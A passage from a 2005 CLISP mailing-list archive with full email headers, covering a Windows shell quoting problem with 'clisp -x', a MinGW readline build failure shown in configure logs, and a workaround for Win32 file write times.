12:22:02 -0400 X-IronPort-AV: i="3.97,190,1125892800"; d="scan'208"; a="95936320:sNHT21210096" To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <874q7s72of.fsf@zemdatav.stor.no-ip.org> (Magnus Henoch's message of "Sat, 08 Oct 2005 11:56:00 +0200") References: <874q7s72of.fsf@zemdatav.stor.no-ip.org> Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Setf of xlib:display-error-handler doesn't work Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Oct 8 09:23:10 2005 X-Original-Date: Sat, 08 Oct 2005 12:20:55 -0400 thanks, fixed in the CVS -- Sam Steingold (http://www.podval.org/~sds) running w2k When you talk to God, it's prayer; when He talks to you, it's schizophrenia. From astebakov@yahoo.com Sat Oct 08 12:54:46 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EOKmL-0001Kp-3A for clisp-list@lists.sourceforge.net; Sat, 08 Oct 2005 12:54:45 -0700 Received: from web52810.mail.yahoo.com ([206.190.48.253]) by mail.sourceforge.net with smtp (Exim 4.44) id 1EOKmJ-0002Mb-RE for clisp-list@lists.sourceforge.net; Sat, 08 Oct 2005 12:54:45 -0700 Received: (qmail 63624 invoked by uid 60001); 8 Oct 2005 19:54:37 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=eHqEeUFX6gRurw2G3/S0t36gzinqb5P0ByCvg6MfsHs3zc87ARQtc9BekHvm/EUtYl2sWTCfvVzS+507713aSYD1isAKi8VOo0HymfhulL9dme8hQK+k6Ov+5Y+EwgfIaq7fNjGM/FZMyMfN6+gV05i7H3/qjZH0isw/J7IU9i4= ; Message-ID: <20051008195436.63622.qmail@web52810.mail.yahoo.com> Received: from [209.50.91.70] by web52810.mail.yahoo.com via HTTP; Sat, 08 Oct 2005 12:54:36 PDT From: Andrew Stebakov To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - Subject: [clisp-list] "-x with lisp-file is invalid" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Oct 8 12:56:56 2005 X-Original-Date: Sat, 8 Oct 2005 12:54:36 -0700 (PDT) Hi When I try to execute someting simple like: clisp -norc -x '(print (+ 2 2))' I get a message: GNU CLISP: -x with lisp-file is invalid: '(+' What do I do wrong? Thanks, Andrew __________________________________ Yahoo! Music Unlimited Access over 1 million songs. Try it free. http://music.yahoo.com/unlimited/ From pjb@informatimago.com Sun Oct 09 00:45:46 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EOVsP-0005YV-ON for clisp-list@lists.sourceforge.net; Sun, 09 Oct 2005 00:45:45 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EOVsL-00028V-1e for clisp-list@lists.sourceforge.net; Sun, 09 Oct 2005 00:45:45 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 75287586AD; Sun, 9 Oct 2005 09:45:30 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 51696586AA; Sun, 9 Oct 2005 09:45:26 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id BFC9310F9F6; Sun, 9 Oct 2005 09:45:26 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17224.51862.359208.474458@thalassa.informatimago.com> To: Andrew Stebakov Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] "-x with lisp-file is invalid" In-Reply-To: <20051008195436.63622.qmail@web52810.mail.yahoo.com> References: <20051008195436.63622.qmail@web52810.mail.yahoo.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 9 00:47:31 2005 X-Original-Date: Sun, 9 Oct 2005 09:45:26 +0200 Andrew Stebakov writes: > Hi > > When I try to execute someting simple like: > clisp -norc -x '(print (+ 2 2))' > > I get a message: > GNU CLISP: -x with lisp-file is invalid: '(+' > > What do I do wrong? I don't know. Here it works ok: $ /usr/local/bin/clisp -norc -x '(print (+ 2 2))' i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2005 4 4 Bye. Perhaps you're using a braindead shell. Aren't you using a unix system? Aren't you using sh, bash or ksh? Have you defined clisp as an alias? -- A: Because it messes up the order in which people normally read text. Q: Why is top-posting such a bad thing? A: Top-posting. Q: What is the most annoying thing on usenet and in e-mail? __Pascal Bourguignon__ http://www.informatimago.com/ From astebakov@yahoo.com Sun Oct 09 08:10:04 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EOcoO-0000iE-Fr for clisp-list@lists.sourceforge.net; Sun, 09 Oct 2005 08:10:04 -0700 Received: from web52805.mail.yahoo.com ([206.190.48.248]) by mail.sourceforge.net with smtp (Exim 4.44) id 1EOcoM-0002pp-Px for clisp-list@lists.sourceforge.net; Sun, 09 Oct 2005 08:10:05 -0700 Received: (qmail 49913 invoked by uid 60001); 9 Oct 2005 15:09:55 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:Cc:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=PtIWyVRMLs8WnF+D2GqJ7icqGAB/hLIHPLTMaW8pbY52xbSZxESdNbSSjEhKSj9kClu0Ytx9Ccf/gNSaTwaFTOO8CCZeEiS6enzTJqk/tVoC9q9HjO/1Z8Z+DZgqEDBuWGBHur/zcBi3VEdb5pAsIhQ9tOzLaxmxDuMpbLCuhlA= ; Message-ID: <20051009150955.49911.qmail@web52805.mail.yahoo.com> Received: from [209.50.91.70] by web52805.mail.yahoo.com via HTTP; Sun, 09 Oct 2005 08:09:55 PDT From: Andrew Stebakov Subject: Re: [clisp-list] "-x with lisp-file is invalid" To: pjb@informatimago.com Cc: clisp-list@lists.sourceforge.net In-Reply-To: <17224.51862.359208.474458@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 9 08:11:06 2005 X-Original-Date: Sun, 9 Oct 2005 08:09:55 -0700 (PDT) I am using native CLisp 2.35 on Windows XP. I tried it at home with my CLisp 2.33 on Linux and it works there. Andrew --- Pascal Bourguignon wrote: > Andrew Stebakov writes: > > Hi > > > > When I try to execute someting simple like: > > clisp -norc -x '(print (+ 2 2))' > > > > I get a message: > > GNU CLISP: -x with lisp-file is invalid: '(+' > > > > What do I do wrong? > > I don't know. Here it works ok: > > $ /usr/local/bin/clisp -norc -x '(print (+ 2 2))' > i i i i i i i ooooo o ooooooo > ooooo ooooo > I I I I I I I 8 8 8 8 8 > o 8 8 > I \ `+' / I 8 8 8 8 > 8 8 > \ `-+-' / 8 8 8 > ooooo 8oooo > `-__|__-' 8 8 8 > 8 8 > | 8 o 8 8 o > 8 8 > ------+------ ooooo 8oooooo ooo8ooo > ooooo 8 > > Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 > Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 > Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam > Steingold 1998 > Copyright (c) Bruno Haible, Sam Steingold 1999-2000 > Copyright (c) Sam Steingold, Bruno Haible 2001-2005 > > > 4 > 4 > Bye. > > > Perhaps you're using a braindead shell. > Aren't you using a unix system? > Aren't you using sh, bash or ksh? > Have you defined clisp as an alias? > > > -- > A: Because it messes up the order in which people > normally read text. > Q: Why is top-posting such a bad thing? > A: Top-posting. > Q: What is the most annoying thing on usenet and in > e-mail? > __Pascal Bourguignon__ > http://www.informatimago.com/ > __________________________________ Start your day with Yahoo! - Make it your home page! http://www.yahoo.com/r/hs From sds@gnu.org Sun Oct 09 10:07:50 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EOeeH-0005ST-96 for clisp-list@lists.sourceforge.net; Sun, 09 Oct 2005 10:07:45 -0700 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EOeeE-0008Kb-GQ for clisp-list@lists.sourceforge.net; Sun, 09 Oct 2005 10:07:46 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 09 Oct 2005 13:07:41 -0400 X-IronPort-AV: i="3.97,191,1125892800"; d="scan'208"; a="96560293:sNHT21500840" To: clisp-list@lists.sourceforge.net, Andrew Stebakov Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20051008195436.63622.qmail@web52810.mail.yahoo.com> (Andrew Stebakov's message of "Sat, 8 Oct 2005 12:54:36 -0700 (PDT)") References: <20051008195436.63622.qmail@web52810.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Andrew Stebakov Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: "-x with lisp-file is invalid" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 9 10:09:14 2005 X-Original-Date: Sun, 09 Oct 2005 13:06:34 -0400 > * Andrew Stebakov [2005-10-08 12:54:36 -0700]: > > When I try to execute someting simple like: > clisp -norc -x '(print (+ 2 2))' > > I get a message: > GNU CLISP: -x with lisp-file is invalid: '(+' > > What do I do wrong? you are using a brain-dead shell that ignores ' for the purposes of quoting. try #\" instead of #\': clisp -norc -x "(print (+ 2 2))" -- Sam Steingold (http://www.podval.org/~sds) running w2k The difference between genius and stupidity is that genius has its limits. From astebakov@yahoo.com Sun Oct 09 11:02:19 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EOfV4-0007gX-2m for clisp-list@lists.sourceforge.net; Sun, 09 Oct 2005 11:02:18 -0700 Received: from web52803.mail.yahoo.com ([206.190.48.246]) by mail.sourceforge.net with smtp (Exim 4.44) id 1EOfV3-00036E-4n for clisp-list@lists.sourceforge.net; Sun, 09 Oct 2005 11:02:19 -0700 Received: (qmail 25541 invoked by uid 60001); 9 Oct 2005 18:02:07 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=eZv/8eH2qsB6j2epJtax5EpW+ASCmhIe+0U0pcPKMpPdtrLPAVE2uztkEZ/HFq5aV6O/EtQWjG5RIoaddl0/Oea9R3hbsqgxbVbCPm0SxKIFAIVi0TvI7jm2gN9LZhpuDB+0OR5Y62QdWhCKOFlYaxSz42wXTh7WWGT4TdxmzRY= ; Message-ID: <20051009180207.25539.qmail@web52803.mail.yahoo.com> Received: from [209.50.91.70] by web52803.mail.yahoo.com via HTTP; Sun, 09 Oct 2005 11:02:07 PDT From: Andrew Stebakov To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: "-x with lisp-file is invalid" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 9 11:03:16 2005 X-Original-Date: Sun, 9 Oct 2005 11:02:07 -0700 (PDT) Yes, it works. Thanks!!! --- Sam Steingold wrote: > > * Andrew Stebakov > [2005-10-08 12:54:36 -0700]: > > > > When I try to execute someting simple like: > > clisp -norc -x '(print (+ 2 2))' > > > > I get a message: > > GNU CLISP: -x with lisp-file is invalid: '(+' > > > > What do I do wrong? > > you are using a brain-dead shell that ignores ' for > the purposes of > quoting. > try #\" instead of #\': > > clisp -norc -x "(print (+ 2 2))" > > > > -- > Sam Steingold (http://www.podval.org/~sds) running > w2k > > > > The difference between genius and stupidity is that > genius has its limits. > __________________________________ Yahoo! Mail - PC Magazine Editors' Choice 2005 http://mail.yahoo.com From pjb@informatimago.com Sun Oct 09 14:22:27 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EOicl-0007bh-Ax for clisp-list@lists.sourceforge.net; Sun, 09 Oct 2005 14:22:27 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EOicl-0004hE-5R for clisp-list@lists.sourceforge.net; Sun, 09 Oct 2005 14:22:30 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 5D4E6586AD; Sun, 9 Oct 2005 23:22:14 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 3A48D586AA; Sun, 9 Oct 2005 23:22:08 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 7140E10F9F6; Sun, 9 Oct 2005 23:22:08 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17225.35328.375013.901778@thalassa.informatimago.com> To: Andrew Stebakov Cc: pjb@informatimago.com, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] "-x with lisp-file is invalid" In-Reply-To: <20051009150955.49911.qmail@web52805.mail.yahoo.com> References: <17224.51862.359208.474458@thalassa.informatimago.com> <20051009150955.49911.qmail@web52805.mail.yahoo.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Oct 9 14:23:21 2005 X-Original-Date: Sun, 9 Oct 2005 23:22:08 +0200 Andrew Stebakov writes: > --- Pascal Bourguignon wrote: > > > Andrew Stebakov writes: > > > > > > When I try to execute someting simple like: > > > clisp -norc -x '(print (+ 2 2))' > > > > > > I get a message: > > > GNU CLISP: -x with lisp-file is invalid: '(+' > > > > > > What do I do wrong? > > > > Perhaps you're using a braindead shell. > > Aren't you using a unix system? > > Aren't you using sh, bash or ksh? > > Have you defined clisp as an alias? > > I am using native CLisp 2.35 on Windows XP. > I tried it at home with my CLisp 2.33 on Linux and it > works there. It might be a good idea to avoid top-posting. The right order allow you to follow the logic in the discussion more easily. So you're using MS-Windows and you're surprized something doesn't work? I'm not. The MS-Windows shell you're using must have some specific rules about the way to write arguments that contain spaces. Perhaps it wants double-quotes intead of single-quote? I've no idea. May I suggest you to read the manual page of this MS-Windows shell? Actually, my real advice is to install at least cygwin if you really must deal with MS-Windows, or install a true OS, like Linux, FreeBSD or Solaris. In cygwin, you've got a normal bash shell, and you won't have these problems. -- A: Because it messes up the order in which people normally read text. Q: Why is top-posting such a bad thing? A: Top-posting. Q: What is the most annoying thing on usenet and in e-mail? __Pascal Bourguignon__ http://www.informatimago.com/ From kavenchuk@jenty.by Mon Oct 10 01:44:35 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EOtGm-0003vJ-Mb for clisp-list@lists.sourceforge.net; Mon, 10 Oct 2005 01:44:28 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EOtGp-00011E-Bm for clisp-list@lists.sourceforge.net; Mon, 10 Oct 2005 01:44:37 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id TPFBT5TH; Mon, 10 Oct 2005 11:45:11 +0300 Message-ID: <434A2A2F.3040006@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 10 01:45:37 2005 X-Original-Date: Mon, 10 Oct 2005 11:45:35 +0300 Sam Steingold wrote: > oops - here is the correct patch. has not helped again: ./configure --with-mingw --with-readline \ --with-module=dirkey --with-module=pcre \ --with-module=postgresql --with-module=rawsock \ --with-module=wildcard --with-module=zlib \ --with-module=bindings/win32 \ --with-libpcre-prefix=/usr/local \ --with-libtermcap-prefix=/usr/local \ --with-libreadline-prefix=/usr/local \ --with-libpq-prefix=c:/PostgreSQL/8.0 \ --build build-full configure.log: ... configure:25568: checking for library containing tgetent configure:25598: gcc -mno-cygwin -o conftest.exe -g -O2 -I/usr/local/include conftest.c >&5 C:/Temp/cc23aaaa.o(.text+0x19): In function `main': C:/gnu/home/src/clisp/clisp/build-full/conftest.c:90: undefined reference to `tgetent' ... configure:25653: gcc -mno-cygwin -o conftest.exe -g -O2 -I/usr/local/include conftest.c -lncurses >&5 C:\gnu\bin\..\lib\gcc\mingw32\3.4.2\..\..\..\..\mingw32\bin\ld.exe: cannot find -lncurses ... configure:25653: gcc -mno-cygwin -o conftest.exe -g -O2 -I/usr/local/include conftest.c -ltermcap >&5 C:\gnu\bin\..\lib\gcc\mingw32\3.4.2\..\..\..\..\mingw32\bin\ld.exe: cannot find -ltermcap ... LTLIBTERMCAP='-L/usr/local/lib -ltermcap' Thanks. -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Mon Oct 10 05:57:53 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EOxDu-0008TK-Ih for clisp-list@lists.sourceforge.net; Mon, 10 Oct 2005 05:57:46 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EOxE2-0001pe-1L for clisp-list@lists.sourceforge.net; Mon, 10 Oct 2005 05:57:56 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id TPFBT6G3; Mon, 10 Oct 2005 15:58:01 +0300 Message-ID: <434A6574.7040505@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: POSIX:SET-FILE-STAT and FILE-WRITE-DATE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 10 05:59:28 2005 X-Original-Date: Mon, 10 Oct 2005 15:58:28 +0300 Sam Steingold wrote: > because win32 time functions are broken. > http://cpan.uwinnipeg.ca/htdocs/Win32-UTCFileTime/Win32/UTCFileTime.html > Thanks. Oops. use checked function? (defun set-file-write-date (file-name file-date) (POSIX:SET-FILE-STAT file-name :MTIME file-date) (let ((diff (- file-date (file-write-date file-name)))) (unless (zerop diff) (POSIX:SET-FILE-STAT file-name :MTIME (+ file-date diff))))) :( -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Mon Oct 10 06:42:04 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EOxum-0002bT-NI for clisp-list@lists.sourceforge.net; Mon, 10 Oct 2005 06:42:04 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EOxus-0000Pz-Vf for clisp-list@lists.sourceforge.net; Mon, 10 Oct 2005 06:42:15 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j9ADfdd2004988; Mon, 10 Oct 2005 09:41:45 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <434A6574.7040505@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 10 Oct 2005 15:58:28 +0300") References: 